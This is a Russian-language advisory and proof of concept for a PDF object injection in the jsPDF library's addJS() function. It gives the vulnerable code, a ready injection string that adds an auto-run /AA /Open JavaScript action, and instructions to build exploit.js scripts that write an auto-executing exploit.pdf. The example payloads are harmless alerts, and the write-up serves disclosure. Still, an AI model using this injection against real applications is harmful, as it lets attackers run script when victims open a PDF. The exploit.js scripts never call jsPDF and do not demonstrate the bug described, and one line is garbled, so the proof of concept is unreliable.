
CVE-2026-25755 Критическая уязвимость внедрения PDF-объектов в jsPDF позволяет злоумышленникам внедрять произвольные PDF-объекты через функцию addJS(), что обеспечивает обход песочницы AcroJS и автоматическое выполнение скриптов при открытии PDF-файлов.
Критическая уязвимость внедрения PDF-объектов (CVE-2026-25755) была обнаружена в jsPDF — широко используемой JavaScript-библиотеке для генерации PDF-документов в клиентских приложениях. Уязвимость существует в функции addJS(), позволяя злоумышленникам внедрять произвольные PDF-объекты и обходить ограничения песочницы AcroJS из-за некорректной санитизации входных данных.
Функция addJS() в jsPDF позволяет разработчикам встраивать JavaScript-код в генерируемые PDF-файлы. Однако до версии 4.2.0 функция не выполняла надлежащую санитизацию пользовательского ввода, содержащего специальные синтаксические символы PDF.
function addJS(javascript) {
this.internal.write("/JS (" + javascript + ")");
}
Функция напрямую конкатенирует пользовательский ввод в потоки PDF-объектов без экранирования:
()\Это позволяет злоумышленникам преждевременно закрыть контекст строки JavaScript и внедрить произвольные PDF-объекты.
/JS (app.alert('Hello World'))
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
↑
Точка внедрения — контекст строки экранирован
| Шаг | Действие | Результат |
|---|---|---|
| 1 | ) закрывает исходную строку /JS | Контекст строки завершён |
| 2 | >> закрывает текущий PDF-объект | Структура объекта нарушена |
| 3 | /AA << /Open << ... | Внедрён новый словарь действий |
| 4 | Добавлены произвольные PDF-объекты | Достигнуто полное внедрение объектов |
Создайте файл с именем exploit.js и запишите в него следующее
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000092 00000 n
0000000275 00000 n
0000000352 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000089 00000 n
0000000172 00000 n
0000000249 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
Запустите node exploit.js